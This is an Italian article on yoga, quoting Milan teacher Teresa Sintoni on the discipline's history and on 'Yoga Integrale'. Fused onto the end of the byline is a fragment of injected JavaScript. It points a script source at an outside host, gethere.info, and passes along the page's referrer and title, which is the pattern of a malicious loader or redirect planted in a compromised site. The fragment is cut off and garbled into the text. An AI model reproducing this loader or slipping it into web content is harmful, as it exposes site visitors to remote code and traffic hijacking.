Lo yoga è una disciplina secolare nata in India, che si presenta come una vera e propria filosofia di vita il cui scopo è connettere il mondo armonico attraverso le posizioni, il controllo del respiro, corpo e mente, testa e cuore. «Questa disciplina- ci spiega Teresa Sintoni, yoga master di Parsifal Yoga a Milano – approda in Europa a metà dell’800 e applica una visione più ampia dell’esistenza alla vita quotidiana. Durante questa migrazione lo yoga è stato influenzato dalla visone di Iyengar, Pattabi Jois, allievi di Krishnamacharya, figura emblematica della tradizione culturale indiana.  Originariamente lo yoga era una disciplina più mentale, un modo per superare un livello ordinario di vita e creare, attraverso l’unione di corpo e mente (yoga significa appunto unione) una via per raggiungere una realtà divina, straordinaria, non quotidiana e veniva tramandata da maestro a discepolo. Con il passare del tempo le posizioni meditative e le tecniche energetiche di respiro sono state raccolte in manoscritti e testi». Pur essendo antichissimo, lo yoga si presenta più attuale che mai unendo quello tradizionale a quello tantra per convergere nello yoga integrale, disciplina volta a migliorare la vita quotidiana. «Lo Yoga Integrale, che è quello che pratico e insegno – concludeTeresa Sintoni – è un potente strumento di armonizzazione ed integrazione dell’intera struttura fisica, psichica ed energetica. La disciplina punta alla riarmonizzazione dell’individuo attraverso tecniche utili per integrarsi al meglio nella vita di tutti i giorni. Lo Yoga Integrale mira alla completezza dell’essere umano, alla sua auto-realizzazione non solo in senso interiore, ma proprio questo riconoscimento deve illuminare la realtà e la percezione del nostro io nella vita di tutti i giorni».

A cura di Alessia Andreozzis.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;